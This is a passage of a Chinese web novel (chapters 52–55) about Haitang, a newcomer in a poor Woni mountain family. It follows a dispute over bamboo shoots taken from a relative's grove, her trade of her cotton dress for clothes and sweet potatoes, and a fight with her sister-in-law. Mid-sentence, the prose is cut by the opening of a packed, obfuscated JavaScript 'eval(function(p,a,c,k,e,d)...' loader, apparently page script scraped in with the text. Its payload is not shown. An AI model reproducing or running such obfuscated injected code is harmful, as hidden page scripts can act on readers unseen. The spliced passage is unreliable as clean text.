海棠和莲叶把晒干的笋子装进大土缸里,缸子底下和周围都铺上干谷草,防止笋干发霉变潮,表面也铺上干净的谷草,最后用刷洗干净的笋壳叶子封口。 五个竹扁晒出来的笋干十分可观,足足装了两个半人高的大缸子,姑嫂两个都觉十分有成就感。 自晓得竹笋还能长期保存起来以后吃,莲叶为了给家里多囤积些吃的,逮着羊毛就薅。过了两日,她又掰了一背篓竹笋回来,说是堂伯娘家竹林里的掰的。 海棠其实很想给莲叶说够了,不要再往家里掰了。没有油盐,这些笋干做出来很大程度上可能也就只是长期囤在那里,时间久了,不过喂了虫子罢了。 但见莲叶小小年纪,那么懂事地只想着尽可能给家里多挣点吃的回来,心里微酸,就什么话也没说,紧她忙活儿。 晌午饭后要下田之前,隔壁的堂嫂,也就是堂伯娘曹氏的那个儿媳妇田凤兰突然来串门。 海棠是知道这个堂嫂子的,婆婆没少在她面前说叫她跟这堂嫂多学学如何做个好媳妇儿和好儿媳。 但今日海棠却是第一次见到这个嫂嫂。 海棠看那田凤兰,跟刀莲荷一样,黑、壮——这是典型的窝尼女人的样貌。长相一般,不漂亮,但也不丑。圆脸高额头,屁股大。同时她也有汉家女子的腼腆和含蓄,低眉顺眼,一脸憨厚相。一看就是个老实本分、听话的女人。总之,她整个就是一副旺夫相和能生养的标准贤妻模样。 海棠主动跟田凤兰打招呼,问她有什么事儿。 那田凤兰支支吾吾,目光却不住往莲叶晒着笋干的那几个竹扁瞧。 她打着哈哈问海棠:“你们弄这么多竹笋,莲生他吃得完吗?” 这话问得有点怪。难不成堂嫂家里,好东西就紧着男人一个人啊? 海棠正想说不止刀莲生一个人吃,莲叶跑过来抢着道:“吃不完我们会拿来喂牛。冬天饲料少,这些笋子晒干了就为囤起来冬天用的。” 田凤兰“哦”了声,又寒暄了一两句其他事,回去了。 海棠把这事儿当笑话一样唠嗑给刀莲生听,“莲叶肯定是没跟堂嫂讲实话,她就想给家里多囤点吃的,怕别人知道了竹笋是能吃的东西后她就弄不到了。其实她给人说那是人吃的也没啥。这笋子要用油盐炒来才好吃。我们已经囤了很多了,没有油盐的话,它还不如烤辣椒好吃呢。” “你就没给堂嫂说?”刀莲生问她。 海棠回:“我不能当面拆穿莲叶啊。” 刀莲生道:“还不是你把莲叶带坏了。小妹从前从来不撒谎的。” 海棠气噎,“这怎么能怪我头上?” “那次我就说掰之前要给人家说清楚,当时小妹不答话,我就知道她心里有自己的主意了。你还帮她打掩护,壮她的胆。不止莲叶,娘说你把莲荷也带得现在也喜欢偷奸耍滑了。” 海棠气笑了。 两人争执了一番。 天边的云层越积越多,阳光快要被遮住了。 一场大雨正在酝酿。 刀家的秧子,经过几日的抢栽,已经快要插完了。 刀莲生看看余下还没插的秧子剩得不多了,就让海棠先回去,免得淋雨。 她这几日身上还不利索,刀莲生担心她淋雨受凉了情况又严重起来。 剩下没插的秧田由他和莲荷来收尾。 海棠回到家,见堂屋门半掩,里面有哭声传出来,有些奇怪。 打水把手脚洗干净后,便悄摸摸走到堂屋外头偷听。 堂屋中央立着田凤兰,一边抹泪哭啼,一边说:“莲叶妹子当时在后坡竹林里掰笋子,恰好我也在竹林里拣笋壳叶子,我问她掰笋子干嘛用,她说是给哥哥治病,还想来掰咱家的。我心想,这要是真能把莲生堂弟的病治好那可是大喜事一件啊。加上这竹笋不值钱,竹林子里多的是,我就让莲叶随便掰。婶子,是我考虑不周了,还望您能把竹笋还给我……” 她显然是被婆婆曹秀珍狠狠骂过一场了。 堂屋正北八仙桌旁坐着白桂景,一脸阴沉。 儿媳妇说完后,一旁坐着的曹秀珍道:“我这儿媳妇心是好的,可就是缺脑子。她也不想想,莲叶说是给她哥治病,真就能治?要这么简单,莲生不早就好了!竹笋能治莲生那病,连我都还是第一次听说呢。这很明显,肯定是你那儿媳妇带来的汉人的土方子吧?先不说有用没用,那么大一背篓竹笋,万一吃坏了莲生咋办?我不管那土方子有用没用,你们非要这么给莲生治病的话,可以,但是我们不想沾上干系。万一把人治坏了,到头来说是吃了我们家竹笋造成的,那我们可真是跳进黄河也洗不清了。” “我已经把我家这憨媳妇狠狠责骂了一场。桂景妹子,实在不好意思,为了谨慎起见,我得把那一背篓竹笋带走。” 田凤兰立刻抽噎着又重申道:“婶子,都是我的错,是我考虑不周。当时我听了莲叶的话,我只望着莲生堂弟能早日康复,便想也没想就立刻答应了。回家后,经婆婆一提醒,甚觉有理。是以,我厚着脸皮过来,请你们把那一背篓竹笋还给我……” 白氏张口要说话。 门槛上跨进来一人,“娘、堂伯娘,莲生生了什么病?” 几个人见到来人,脸色都变了变。 白氏拉长了脸,率先开口道:“莲生媳妇儿,你丈夫好好的,没事别咒他。” 说罢白氏看向曹氏,目光深沉:“堂嫂子,竹笋的事情都是莲叶的错,不关凤兰的事,你别再骂她了。我这就叫莲叶把竹笋还给你们。” 旁边就立着莲叶,双眼也红着,小脸苍白。 母亲说完,她就呐呐地道:“堂嫂,我马上去把笋子装好背还给你家。”说罢往外走。 田凤 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莲叶于是背上竹笋往茅坑去,田凤兰跟着她,要监督她倒掉。 海棠甚觉可惜,忍不住劝曹秀珍道:“堂伯娘,这竹笋是很好吃的野味,我们汉人地方经常吃。你带回去用油盐炒来吃,鲜美爽脆,堪比山里的野蘑菇。或者用它来炒腊肉,好吃得很,就这么倒掉实在可惜。” 曹秀珍怀疑地盯着她,“我从没听说过这能吃。这要是能吃,每年五月,我们这竹林子里家家户户不得掘地三尺挖竹笋?那还用得着不辞辛劳地跑到深山老林里去采蘑菇吗?” 海棠强调:“能吃啊。我们都吃过了。” “或许能吃吧。蘑菇也能吃呢,可年年吃死人。” 海棠马上道:“这竹笋绝对吃不死人。” 曹氏冷着脸,“现在是还没吃死人,等到吃死的时候就晚了!你们自家的笋子要挖来吃了,我管不着,但是我家竹林里的必须还给我。五条人命呢,我可赔不起。” 这时候莲叶背着空背篓回来了,曹氏道:“我家竹林子里的笋子都掰完了,不止你倒掉的那点吧?其他的呢?” 莲叶不敢再隐瞒,“还在锅里煮着。” “堂伯娘——”海棠还待劝说。 白氏狠狠剜她一眼,“要你多嘴多事!” 曹秀珍没再听海棠聒噪,已经抬脚往灶屋去。 揭开锅盖一看锅里,一大锅剥壳切成两半的笋子泡在水里。 好像证实了自己猜测似的,曹秀珍回头对跟进来的白氏说:“你看看,这种做法不是煮猪食吗?说它能吃我偏就不信。”说罢,指挥田凤兰把竹笋全部舀进桶里,要提到茅坑去一并倒掉。 海棠又给曹秀珍解释,“堂伯娘,这是在焯水。焯过水的竹笋炒起来才好吃。” 曹秀珍很是不耐烦了,“诶,我说你这堂侄媳妇儿真是固执。我这是为你们着想,我们老辈子走过的桥比你们走过的路还多。我虽然一辈子没去过汉人的地方,但是也是跟汉人打过交道的。我是真没听说这能吃啊,你怎就这么犟呢?” 海棠便又解释:“我们汉人那乡下地方,地里的蔬菜多到吃不完,一般也就饥荒年间,才会去采挖野菜吃。” 曹秀珍顿时哈的一声嗤笑出来,看向白氏道:“你听听她,谎话真是一套一套的!我要是再追问下去,她只怕又编出一套谎话来。行了,既然是灾荒年间才吃的东西,不就跟那观音土一样吗?一时能胀肚子,可吃多了就要人命的。你家的笋子,就留着家里实在揭不开锅的时候再吃吧。吃个饱死总比饿死好受些。” 53. 第 53 章 曹秀珍这话真是杀人诛心。 虽然家穷是事实,但是人都是要面子的,这么被当着人面讽刺家里穷得揭不开锅,不但吃猪食,还为了人家竹林子里根本看不上眼的几个竹笋,欺三瞒四的哄骗,更是叫人大大地看笑话了。 曹氏领着儿媳妇田凤兰走后,白氏气得浑身发颤,抬手一耳光把莲叶打得趔趄。 “娘,你别生气……”海棠眼疾手快,把差点扑到地上去的莲叶堪堪扶住,原想说几句好听话让婆婆消消火,只是瞅到白氏目光一厉。 她也是被白氏打过的,心里仍有阴影,对这老太太是又敬又畏,海棠顿时就被白桂景那凌厉的眼神儿吓住了,唯恐下一个耳光便打在自己脸上,只得赶紧闭了嘴,抱住莲叶默不做声。 小莲叶捂住红肿的脸蛋儿扑在海棠怀里压抑地哭泣,白氏声色俱厉地数落,“又不是什么好东西,都不管饱,只要有油盐,就是路边随随便便薅来的一把野草也能炒得好吃!就为了这么些破玩意儿,把脸都丢尽了!以后谁也不许再去掰笋子回来!” 婆婆说得也没错。 便是前几日她吃的那鹅儿草,用猪油炒一炒,放点盐巴调味儿,便也是极好吃的,不比那竹笋差。 而那野草在现代,还真是农村人扯来喂猪喂鸡的东西。 山里的地贫瘠,山里人便只讲究实在,土地尽量种植能饱腹的庄稼,像稻子麦子,红苕土豆,高粱豆子等。在这里的人眼里,正如刀莲生给她讲过的那样,种菜属实在浪费地。 山里人偶尔吃菜,主要目的也是为了下饭。自然不会像她这现代来的人,还想讲究吃菜是为提供身体所需的营养,以及提高生活品质。 莲叶首当其冲被白氏骂得最狠,经此一回,莲叶自是不敢再往家里掰竹笋了。 白氏骂过后,莲叶立刻躲去了海棠那卧房里大哭起来。 海棠也不相劝,先任她如此发泄委屈。 她去灶屋打来一盆冷水,再兑点堂屋火塘上那铜壶里烧的开水,端进卧房里,把洗脸帕用温热水打湿后拧干,给莲叶热敷红肿的眼。 “你万不该编个给你哥治病的谎话来骗堂嫂子啊,不然也不会引出后面那一串事情来。你就只说那竹笋是掰回来喂牛喂畜生的,我想堂伯娘也不会那么紧张,还亲自跑来找娘讨还。撒那样的谎,你当时到底是咋想的?”海棠好奇问。 海棠一直心存疑窦。 听当时在堂屋里的那几个人的对话,婆婆和堂伯娘婆媳两个,好像他们都知道刀莲生有病似的。不然莲叶说竹笋是给刀莲生治病,咋婆婆没跳起来把连莲叶先斥责一顿?倒是自己不过问了一嘴,就被婆婆警告说她在咒丈夫生病。 莲叶拿热帕子死死捂住脸,背过身去:“嫂子你别问了,我今日就是脑子被牛屎糊住了,才乱讲话。” 海棠见状,暗忖自己当时回来得晚,那会儿田凤兰已经在哭了,可能前面的对话中,有提起过莲叶是怎么撒谎的。或许是她听岔了。 莲叶年纪小,当时估计也是心急了,想要尽可能把堂伯娘家的竹笋弄到手。毕竟如果当时就说是掰回来喂牛的,堂伯娘家养的牲畜比自家的多好头,那田凤兰听了后说不定就不会爽快地答应让她掰了。 而唯有说是给家人治病这样的话,对方才可能会怀揣着一种施恩的心态,大大方方地同意了。 海棠思来想去,莲叶和田凤兰双方当时多半就是这样的心理,才能解释得通。 莲叶今日受到的委屈不小,又当着亲戚的面被娘责骂,很是难堪。她既是极不情愿再提那事,那便算了,海棠就不再追问。 心疼小姑子,海棠让莲叶就在家休息,她自己赶在落雨前背上背篓拿把镰刀到坡上去,割了半背篼鲜嫩的野草回来喂牛。 海棠把草饲料提到圈棚里喂了牛出来,见刀莲荷肩头搭着块黑色的帕子,提着一桶热水进了空圈去。 啧啧。 直到刀家的秧子插完后,海棠才终于看见刀莲荷洗一回澡了。 这个月地里田里的活儿大家都没少干,只要下地,就是她这种干活儿不利索的人,也会出一身汗。插秧这些日子,连日来又都是大晴天,那汗水更是没少出。 家里就这么大的地方,做点什么阵仗大的事情都知道。海棠确信这姑娘这个月来真是第一回洗澡。 刀莲荷爱美,衣裳倒是换得勤,却不爱洗澡,所以身上总有股怪味儿,挨她近了就闻到比较浓烈。 不过刀家三个女人都不爱洗澡,或许这是窝尼家女人的习惯吧。 来了个把月,海棠感觉寨子里的人挺迷信。可能此地人认为女人勤洗澡容易生病。 毕竟女人确实也比男人毛病多。尤其每个月还要来月事,更认为保暖防风才是最重要的,其他都是其次。 山里早晚温差大,山风也大。洗澡的条件又差,经常洗,也的确是容易受凉感冒的。 男人倒是不怕。男人的身子天生火热,又经常卖力气,身子熬得精壮有力,轻易不会生病。 海棠刚来那会儿闻不惯婆婆和姑子身上的味儿,很浓烈,熏得她头昏,所以不爱跟她们打堆,尤其是她那个婆婆。不洗澡也就算了,衣服也不爱换。一身黑色衣裤,能穿半个月。 只她后头习惯了,嗅觉免疫了,闻不到那味儿了,才感觉好些。 还好刀莲生身上没啥怪味儿。 海棠暗自得意,他干净,她的功劳巨大。 一个干净的男人背后一定有个贤惠的女人,哈哈哈。 洗完澡后,刀莲荷又烧了半锅水,蹲在地坝边洗头。 只是海棠看见刀莲荷洗头的时候,先往水里抓了几把草木灰,然后便直接用这水洗头,大为惊愕。 不过,先前就知道了这里人生活中常用草木灰的,莲叶拿草木灰洗衣裳,婆婆还叫她用草木灰处理月事,很快便释然了。 洗完了头后,刀莲荷让妹妹给她捉头上的虱子。 海棠一开始不知姐妹俩在做什么,就只见莲荷莲叶姐妹俩坐在地坝边,莲荷披散着一头湿长发,莲叶趴在她脑袋上,尖着几根手指一缕一缕地把姐姐的头发分开,努力张大了眼睛盯着头皮,很仔细地在发丛里找着什么。 海棠先前跟刀莲荷发生过龃龉,那大姑子跟她不对付,海棠的性子也傲,自也不想去热脸贴冷屁股,是以平素姑嫂两个经常互不搭理,并且还轻易不得靠近彼此三步之内。 但此刻海棠太好奇了,她就挨过去,伸长了脖子看。 然后她吃惊地看见刀莲荷头的头发上,贴近头皮的发根儿处,那些吸足了血的灰色的虱子,芝麻大小,腹部又鼓又亮,趴在湿涟涟的头发上动也不动,莲叶一捉一个准。她捉下来后把虱子抹在凳子面上,然后刀莲荷伸手去用指甲一摁,“啵儿”的一声清脆的响,凳子上面留下一滴血污。 这让海棠大开眼界,大为震撼。 难怪平时总看刀莲荷隔着包头布抓头上的痒痒。 想起莲叶和刀莲荷睡一张床的,莲叶的头发上肯定也有虱子。哎呀,莲叶今日又扑在自己睡的那床上哭过,说不定床上已落了虱子了,接下来还会传染到自己头上。 海棠寻思着等明后天出大太阳,一定要把床上用品全部搬出来暴晒一下。 还有,那草木灰有驱虫的效果,赶明儿她也好好用草木灰来洗个头。 又看了一阵稀奇,那些捉下来的虱子被刀莲荷的指甲摁死的时候,波波儿的响声脆生生的还蛮好听……呃,就是想起那声音是什么发出的,又是怎么发出来的,有点恶心。 虱子实在太多,不一阵,那凳子面上就密密麻麻一片血迹了,海棠身上起了鸡皮疙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“她是经过了人家的同意才掰的啊。只是她没说实话,撒了个谎,堂伯娘这才跑来讨要。” “那就是她不该,她骗别人。如果她老实说了,竹笋多半是要不着的。结果都一样。” 海棠点点头,然后感叹一句,“千有万有,不如自家有啊。白忙活一场。那几背篼的竹笋,又剥又切又煮又晒的,花了小妹好多工夫。” 刀莲生转过头来瞄她一眼,“你俩早听我的话,就不会白费工夫了。” 海棠笑道:“是是是,夫君的话是天,以后一定要认真听进去,百分百执行到位。” 说完目光乱晃,视线暧昧不明地往刀莲生下盘扫,面上笑嘻嘻说:“莲叶为了隐瞒竹笋能吃的事实,胡诌说是给你治病的。他们都信了。” 刀莲生一怔。 海棠终于把蓑衣解下来了,搭在手腕上,然后撞了下刀莲生的胳膊,凑过去在他耳畔轻语:“喂,你老实给我交代你是不是得了难言之隐的病症?比如说不举、早泄之类?还弄得人尽皆知了。否则,怎么莲叶一说那竹笋掰回来是给你治病吃的,堂伯娘她们轻易都相信了?” 刀莲生突然变了脸色,一把把她手里还没挂起来的蓑衣用力扯走,同她擦身而过。 海棠错愕不已,不禁来了气,“你突然冲我发火干什么?我看你还真是有毛病!” 刀莲生不理她,把蓑衣挂在外墙上,进去堂屋了。 晚上照常是不吃饭的。 海棠在灶屋里洗漱完了后回到堂屋,再进去卧房,发现刀莲生竟然在拆他的那个床铺。他把凉床扛了出去,重新在堂屋西墙下把铺搭了起来。 海棠更加错愕。 咋的了,难不成他是怕她半夜扑倒他,然后发现他不举的秘密吗??? 呸! “你搬出去了就别再搬进来了!” 54. 第 54 章 自那次田凤兰来家讨要过竹笋后,隔三岔五,只要得闲,她就要来串门子了,还主动同海棠打堆说话。 海棠在这里还没交到同龄朋友,难得竟有个这寨里的年轻女人愿意跟她交往,很是高兴。 两人也算是妯娌。 两人的婆婆是妯娌,各自的丈夫是堂兄弟。往上再数,两人的公公的父亲是同一人。所以,关系亲着呢。 只是,海棠逐渐发现,那堂嫂子每次来,目光总不自觉地朝她身上打量。 晌午饭后,田凤兰提了一篮子麻过来,跟海棠一块绩麻。 海棠见她又往自己身上瞧,忍不住问道:“嫂子,我身上是不是哪里不对头?” 田凤兰讪讪一笑,“没有没有,我就是,就是你这身衣裙挺好看的,料子看着也很好。那个,海棠,我可以摸一摸吗?” 海棠明白了。 她身上穿的是娘家带来的衣裙,颜色靓丽好看,做工精致,关键是棉布质地。这可比窝尼家女人一水的黑色和蓝色好看多了。 原来如此。 海棠大方让她摸。 田凤兰起身上前,捉着海棠身上的上衣下裙又摸又搓又揉捏,一脸艳羡,“你这衣裙摸起来好柔软呀,而且颜色也好看,很显肤色白呢。” “嗯。这是棉布做的。” 海棠也将田凤兰身上穿的衣裳打量。 窝尼女人很少见裙子的,基本上都是短衣配筒裤,跟男人穿的一样,为了方便做事。颜色单调,只有黑色和蓝色。衣料很粗糙,是苎麻织成的。织得也稀松,洞洞眼眼的,都看得见里面的肉。手感粗粝,穿在身上也不舒服。 海棠见田凤兰摸着自己的衣裙爱不释手,眸光一转,含笑道:“嫂子,说起来,我来了碧约寨,一身此地女人的衣服也没有。我看嫂子似乎对我这身衣裙很喜欢。嫂子若是不嫌弃,我看我俩身材也差不多,我情愿拿这一身衣裙跟嫂嫂换些窝尼家女人的衣裳穿,如何?” “呃……”田凤兰面色迟疑。 海棠又道:“我主要是嫌这身裙子穿起来做事情不方便,不然我也舍不得换。我这身都没穿几天的,是新做的。这可是我娘给我做的新嫁娘穿的衣裙,用料做工还有这些绣活儿,都是顶顶好的。嫂子会纺线织布,你一看这料子,这绣活儿,必然认得出好坏,不需我多说了。嫂子只要跟我换旧衣裳就行了,我穿着好下地干活去。” 田凤兰只犹豫了片刻,便表示出了强烈的交换意愿,“你要怎么换?” “我这是柔软的棉花纺成纱再织成的布,你看这料子,在寨中是极难得的,做工也精致,颜色靓丽。我想,至少得换三套你们这里的麻布衣裳吧。” 田凤兰摇头,“三套太多了。麻线织成布再做成衣服,也要一个月的时间呢。费时又费力。” “那换两套?”海棠退一步,再跨前半步:“另外嫂子你再给我一背篼红苕吧。” 为什么会想到要红苕? 因为家里口粮不多了,小妹在想办法给家里屯粮,刀莲生也在努力给家里挣口粮。 刀家的秧子全部栽完了后,刀莲生没闲着,他又出卖力气去给寨子里田多人少的人家插秧子,为此得了一背筐红苕回来。 婆婆很高兴,将那框红苕窖藏到后坡竹林里的地窖里。 之后婆婆又念叨他把牲畜圈翻修一下,重提那次说的在圈里砌墙修间屋子的事情。 海棠看婆婆说了几次,刀莲生都只口头答应了却不行动,她自恋地以为刀莲生还是想把床铺找机会搭回自己一个屋睡,于是去调笑了他几句。 结果刀莲生嗔怪地瞥她一眼,说:“你想多了。砌墙就要动土。我们这里的规矩,动土要请会看风水的先生来挑日子,还要请人帮忙,必然要请客吃饭,是要花钱的。家里没几个钱,所以我暂时还不想动。” 正是因为有了小妹和丈夫带头,那些又给海棠留下了深刻印象,她现在也下意识地也想为家里挣口粮。 堂伯娘家人多地多,养的畜生也多,还养得有猪,堂伯在寨子里还是头面人物,肯定还有外块收入,所以他们家是不得缺吃少穿的。 果然,只听田凤兰爽快地道:“好,我这就给你拿来!” 海棠暗自得意。 她多精明,早知道买卖都是要讲价的,所以她一开始就喊换三套,实际上换一套她也是很满足,现在多一套简直是大赚。 拿到田凤兰送来的衣服,海棠立刻回屋换上了。 田凤兰的衣服料子虽不好,但是绣工极好。五颜六色的绣花纹样,极具民族风格。 她还给了她搭配衣裤的一条围裙,上绣着彩色花纹,还有银饰点缀,下摆一排丝线流苏吊饰,围在腰身上,跟穿裙子也没啥区别了。 海棠喜欢极了,忍不住原地转了好几圈。 可惜没穿衣镜揽境照一照。 五月,也是山里人油菜籽收割的季节。 收割完了菜籽,立刻给田里蓄上水,再用畜生把田翻个两遍再耙平了,照样栽秧子。 一块田,农时抢得快,能收获两样粮食。 当然,这得家里劳动力多,能下力的畜生多才行。 没人没畜生干活儿,田就只能空着,老老实实等到季节来临,种一季稻子罢了。 从前刀家有骡子,刀家的田也会抢在插秧种稻子前先种一季油菜。但现在不行了,骡子没有了。 菜籽收割的季节,寨子里的榨油坊开始忙起来。 刀莲生帮人插完秧后又马不停蹄地去榨油坊做帮工下苦力,几天后做完工回来,得到一斤菜籽油和二十斤菜籽饼做报酬。 那油菜籽出油率不高,一百斤菜籽只榨得出三四成油出来,其余大量都是菜籽饼。油坊老板给人榨油不收加工费,只要菜籽饼,以此代替加工费。 那菜籽饼是极好的饲料,喂猪喂骡子喂畜生,很长膘。油坊老板以此盈利。 刀莲生给家里的老牛留了一斤菜籽饼,剩下的菜籽饼他打算过些日子背到集市上去卖掉。 下雨了。 海棠临窗向外望去,对面是连绵起伏的群山,像元宝一样,一个紧挨着一个,堆叠在一起,看着很可爱。 这一场雨来得真及时。 秧子都插完了,正需要天降雨露滋润。 下了雨,暑热也暂时消退下去,正好让田禾有时间适应新的生长环境。 紧张的农忙时候过去了,秧子插完,寨里能帮工的地方都帮过了,没地方下力气讨报酬了,刀莲生就不再早出晚归。但他 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不贴饼子就不用灶屋的大铁锅了,一口鼎锅搞定,直接就搁在堂屋火塘上把糊糊熬煮熟就成,简简单单一顿饭。 刀莲生正坐在凳子上用竹子编东西。 一米八几的大高个儿,坐在矮凳上,长腿只能伸直了,腿大张,才方便做事情。 他手指粗糙,做起精细活儿来却十分麻利灵活。 婆婆在跟他讲话,不知道他有没有在认真听。看他编东西那么认真,脸上的表情都没个变化,海棠怀疑他就没把婆婆的话听进去半个字。 海棠撩帘子出去,在男人身旁蹲下来。 她拿起地上堆着的一大堆做好的东西,看起来都十分精致。样式也多,除了一些日常家用的工具,像是竹篮、烤火笼子、筲箕、蒸屉,竟然还有些玩具类的,竹蜻蜓、竹蚂蚱、小如巴掌的几个竹凳子,还有一间同样只有手掌那么大的竹楼,还是两层的,精巧又别致。 海棠把玩儿着竹楼的时候,刀莲生瞥她一眼。 过了会儿,他拿起铜壶给自己倒了碗酽茶,喝茶的时候,他的视线越过土碗,又瞟她一眼。 今日海棠穿的是他们窝尼女人的服饰。 黑色的粗麻布,斜襟上衣,七分大喇叭裤,襟口和裤脚处都绣有七彩花纹。最好看的是腰间还围了一根色彩艳丽的围裙,系在下身像穿了条半身裙一样。系带裤子和围裙把她的小蛮腰勒了出来,那腰身,看着不盈一握。 刀莲生觉得,这样子的海棠,很新鲜,忍不住看了又看。 衣服裤子的料子很不好,颜色也丑,但是穿在海棠身上,瑕不掩瑜。她依然是盘龙山上最美丽的女人……这是堂兄德生跟他说的。 德生说他的妻子是盘龙山上男人们心目中最美的。 德生还说他的运气真他妈好,随便娶的个汉家女,竟然就把盘龙山上的女人都比下去了。他说早知道他也该找个汉女做妻子,至少纳个汉人女子做妾…… 德生家境好,他家就他一个,他要纳妾,完全有那个能力。 窝尼人不反对三妻四妾,只是山里人大半都很穷,能娶到个女人做妻子已经很了不得了,哪敢像头人和汉人大财东那样,奢想娶三妻四妾? 55. 第 55 章 只是,刀莲生把海棠偷瞧了好几眼后,有些疑惑。 海棠这身衣裳看上去不像是新的,襟口和裤脚处绣花的彩线有些地方都洗发白了。围裙上装饰的银饰也有脱落的痕迹。 难道这身衣服不是母亲给她新做的?娘把她自己年轻时候穿的衣裳给海棠穿了? 刀莲生回想这几日,好像的确是没看到母亲和大妹妹做衣服。再说,海棠这身绣花样式比较多,几日之内是不可能绣得出来的。 海棠玩儿够了那个袖珍版竹楼,放回去,另外拿起一只竹蜻蜓在刀莲生眼前晃了两下,“你做这个做什么?还做这么多。” 刀莲生说是要卖的。 海棠有些惊讶,“能卖钱?” “嗯。” “谁买?这玩意儿看上去很简单啊,寨子里的人都会做吧?小孩儿都会做。”她强调。 海棠把那只竹蜻蜓翻来覆去看了两遍,她觉得自己也会做了。 把根指长指粗的篾块中间用锥子钻个洞,再拿半根筷子往洞中一戳,组合成个丁字状,这竹蜻蜓就做好了。 “城里人。”刀莲生说。 顿了下,他难得给她说得更细致些,“城里有钱人会买给小孩子玩儿。” “噢。” 是这样的。 城里人大概率是没见过乡下人做的这些小玩意。 她记得自己小时候看见乡下人用草编的蚂蚱、蜻蜓、小花花,都很稀奇,嚷着让妈妈给自己买。 海棠很快从刀莲生的回答中抓到了重要的信息。 他编这些东西是要拿到城里去卖的。 白氏把鼎锅从绳子上取下来搁在一旁地上放凉,然后起身出了堂屋,看样子是要去灶屋拿碗筷来。 婆婆一走,海棠立刻兴致勃勃地问男人道:“你要进城呀?什么时候去?带我一块儿去好不好?我想去看看你们这里的城镇是什么样子的。” 刀莲生抿着唇没有立刻回答,专心手上的活计。 海棠抓着他的手臂摇了摇,“带我去好不好嘛!” 刀莲生摇头,“不行,路太远了,你又走不快,耽搁时间。而且寅时就要出发,否则当天不能来回。” 海棠初时有点气他嫌弃自己的脚程慢,再一听寅时,暗自一换算,那不就是凌晨四点多钟就要出发?顿时没了兴致。 刀莲生看她不缠着自己了,又瞥一眼她身上,张口:“你这身衣裳……” 海棠今日换上了窝尼家女人的衣服,正愁没个人点评下,一听刀莲生注意到了自己身上穿着,又来了兴致。 她站起身来,在男人跟前旋了个圈儿,笑眯眯道:“好看吗?我用自己的棉布衣裙跟堂嫂换的,还换了两身,我厉害不厉害?” 刀莲生:“……” 刀莲生脸色有点难看,海棠没注意到,兀自扯着围裙自顾自欣赏着,炫耀着她一身衣服换回来两身衣服的好本事。就在这时候,突然听得一声嘭的巨响,吓得海棠一把抱住了就在跟前的刀莲生。 她也没看清,伸手就死死抱住。刀莲生是坐着的,她一抱,就抱住了他的脑袋,还往肚子上摁。 刀莲生头脸都给她捂在她腹部上,包头布也给她揪了下来。 刀莲生察觉自己扑在哪个位置的时候,脸红耳赤。轻轻推开海棠,深吸口气,这才起身看向堂屋门口。 大门口外的台阶上,一只木盆摔在地上,已砸烂了,四分五裂。 海棠认出来那是刀家的洗脚盆,平时还用来洗衣服。 显然刀莲荷是洗好了衣服端到堂屋外头,她刚晾完了衣服。 海棠以为是刀莲荷手滑了,脚盆落石头台阶上砸烂了。 不想白氏端着几个碗回来,正走在院坝里,她小跑着上前来,把刀莲荷往墙上一推,就大骂开来,“你发癫了吗?好好的脚盆你给砸得稀巴烂!” 原来刀莲荷是故意砸的。 刀莲荷站直了身体,一点也不怕白氏,反而梗着脖子,气鼓鼓道:“家里多了个人,我还以为我和小妹会轻松很多,没想到事情越做越多。原来是有人可劲儿的找机会偷懒呐。我又要织布,还要洗衣服,人都快要累死了,这日子真是没法过了!” 这话的指向很明显,白桂景阴着脸扫了眼海棠。 刀莲荷看母亲往海棠这边看,立刻就告状道:“她刚才还想哄着哥哥带她去城里玩呢!” 白桂景一喝,“都别说了,收拾收拾好吃饭了!” 刀莲荷一哼,才不管母亲的话,自顾自跨进堂屋来,坐在桌边,等着人把饭碗递她手上。 “一个二个都是来讨债的!”白桂景嘴里骂骂咧咧,叹了口气,将碗筷递给儿子刀莲生。她自己回身走到台阶下面,把摔在地坝里的破烂脚盆的木板一一捡起来撂在房檐下。 刀莲生抱着饭碗放在地上,拿勺子正要舀鼎锅里的糊糊,听见母亲在外喊他。 “莲生,这一背篼红苕哪里来的?我记得你背回来的那背篼红苕我已经倒到地窖里了呀。” 刀莲生走出去看。 海棠也跟了出去。 一看白氏说的那背篼红苕,赶紧解释道:“娘,是我换回来的。我用自己的衣裙跟堂嫂子换的。” 白氏闻言,老脸拉得极长,神色十分难看,眼睛盯着她,质问道:“谁让你去跟她家换红苕的?” 海棠看出来婆婆明显是生气了,一场暴风雨即将来临,她胀得满脸通红,不知所措地看向刀莲生,希望他为自己说两句话,但是男人的脸色也很不好看。 刀莲生别着眼,回避着她求助的视线。 海棠知道那两个人都在生气,但她不知道自己错在哪里。 家里粮食不够,有机会屯粮,为何不抓住机会?一日吃三顿不好吗?每顿都能饱餐不好吗? 就在这时候,身后的刀莲荷抄着手靠在门框上,阴阳怪气地说:“现在为了口吃的,卖衣服。以后不知道会卖什么。” 海棠顿觉浑身的血液都在往脸上冲,她冲过去,一把揪着刀莲荷的衣襟提着她,另只手就往她脸上招呼。 刀莲荷大惊失色,“啊,你干什么!” “娘!哥!” 两个女人在门口扭打在一起,一个仗着身高,一个仗着身壮,一时谁也没讨到好。 刀莲生焦急地喊住手住手,一个是妹妹,一个是妻子, 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海棠隐忍着泪水不落下,她气得脱掉脚上的木屐扬手狠狠砸得老远。然后咬着牙想爬起来继续跑路,有人及时从后头将她打横抱了起来。 海棠奋力挣扎,抡起拳头就如雨点般往男人身上狠狠捶打,“你放开我!放开我!让我走!” 刀莲生死死抱住她,任她打骂,不做声也不放手。 海棠也不知道自己那些拳头砸在他身上哪里了,只觉得她每一下打下去,手感都硬邦邦的,像砸在石头上。男人没有痛哼出来,她自己两个拳头不一会儿就打红了,疼得她眼泪哗哗地流了出来。 这可真是自作自受呢。 海棠不再捶打男人了,两只手捉着对方肩膀,然后一低头,再一张口,便就狠狠咬在了刀莲生的脖子上。 终于,她成功地听到了男人的闷哼。 刀莲生僵着身体立在原地不动,仍然没有放开她。 两人暗自较着劲儿,这时,一声怯懦的轻喊:“哥、嫂子,你们……你们进灶屋来,外面下这么大雨……”是莲叶。 海棠松了口,再也忍不住了,埋在刀莲生怀里不管不顾地嚎啕大哭出来。 哭了一阵,又觉得自己这么大个人了竟然还哭,并且哭了出来实在丢人,马上抬起手背左揩右揩,把眼角脸上的斑斑泪迹都擦拭掉。 